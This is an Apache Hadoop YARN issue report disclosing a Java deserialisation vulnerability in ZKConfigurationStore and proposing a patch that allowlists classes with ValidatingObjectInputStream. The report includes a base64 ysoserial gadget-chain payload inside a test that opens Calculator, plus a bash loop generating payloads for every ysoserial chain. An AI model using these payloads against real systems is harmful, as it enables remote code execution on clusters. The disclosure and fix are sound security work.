Uploaded image for project: 'Hadoop YARN'
  1. Hadoop YARN
  2. YARN-11126

ZKConfigurationStore Java deserialisation vulnerability

    XMLWordPrintableJSON

Details

    Description

      ZKConfigurationStore uses ObjectInputStream to deserialise objects from ZooKeeper. An attacker who has access to ZK can exploit this, e.g.: using gadget chain deserialisation attacks the attacker can run arbitrary commands, even create reverse shells.

      A useful CheatSheet for Java Deserialisation.

      I managed to start the Calculator app on my Mac using the following payload:

        //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 'open /System/Applications/Calculator.app' | base64
        @Test
        public void testDeserializationCommonsBeanutils1() throws Exception {
          deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ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4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14"));
        }
      

      A bash script to generate all possible attacks with ysoserial, attachment: TestZKConfigurationStoreCVE.java

      for exploit in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 URLDNS Vaadin1 Wicket1; do echo "//java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar $exploit 'open /System/Applications/Calculator.app' | base64\n@Test\npublic void testDeserialization${exploit}() throws Exception {\n    deserializeObject(Base64.getDecoder().decode(\"$(java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar $exploit 'open /System/Applications/Calculator.app' 2>/dev/null | base64)\"));\n}\n"; done
      

      There are multiple ways of Combating Java Deserialization Vulnerabilities with Look-Ahead Object Input Streams (LAOIS).

      My proposal is to use the org.apache.commons.io.serialization.ValidatingObjectInputStream.

      diff --git a/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/scheduler/capacity/conf/ZKConfigurationStore.java b/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/scheduler/capacity/conf/ZKConfigurationStore.java
      index 71226c300a8..ef8320ebc6b 100644
      --- a/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/scheduler/capacity/conf/ZKConfigurationStore.java
      +++ b/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/scheduler/capacity/conf/ZKConfigurationStore.java
      @@ -18,6 +18,7 @@
      
       package org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.conf;
      
      +import org.apache.commons.io.serialization.ValidatingObjectInputStream;
       import org.apache.hadoop.classification.VisibleForTesting;
       import org.apache.zookeeper.KeeperException.NodeExistsException;
       import org.slf4j.Logger;
      @@ -314,7 +315,8 @@ private static String getNodePath(String root, String nodeName) {
      
         private static Object deserializeObject(byte[] bytes) throws Exception {
           try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
      -        ObjectInputStream ois = new ObjectInputStream(bais);) {
      +         ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);) {
      +      ois.accept(LinkedList.class, LogMutation.class, HashMap.class, String.class);
             return ois.readObject();
           }
         }
      

      However, it won't protect from DoS attacks. In the future it would be nice to move away from Java Object Serialisation, ZKConfigurationStore should use some other way to store the configuration, but that involves upgrades and planning.

      Attachments

        1. TestZKConfigurationStoreCVE.java
          126 kB
          Tamas Domok

        Issue Links

          Activity

            People

              tdomok Tamas Domok
              tdomok Tamas Domok
              Votes:
              0 Vote for this issue
              Watchers:
              3 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved:

                Time Tracking

                  Estimated:
                  Original Estimate - Not Specified
                  Not Specified
                  Remaining:
                  Remaining Estimate - 0h
                  0h
                  Logged:
                  Time Spent - 2h 50m
                  2h 50m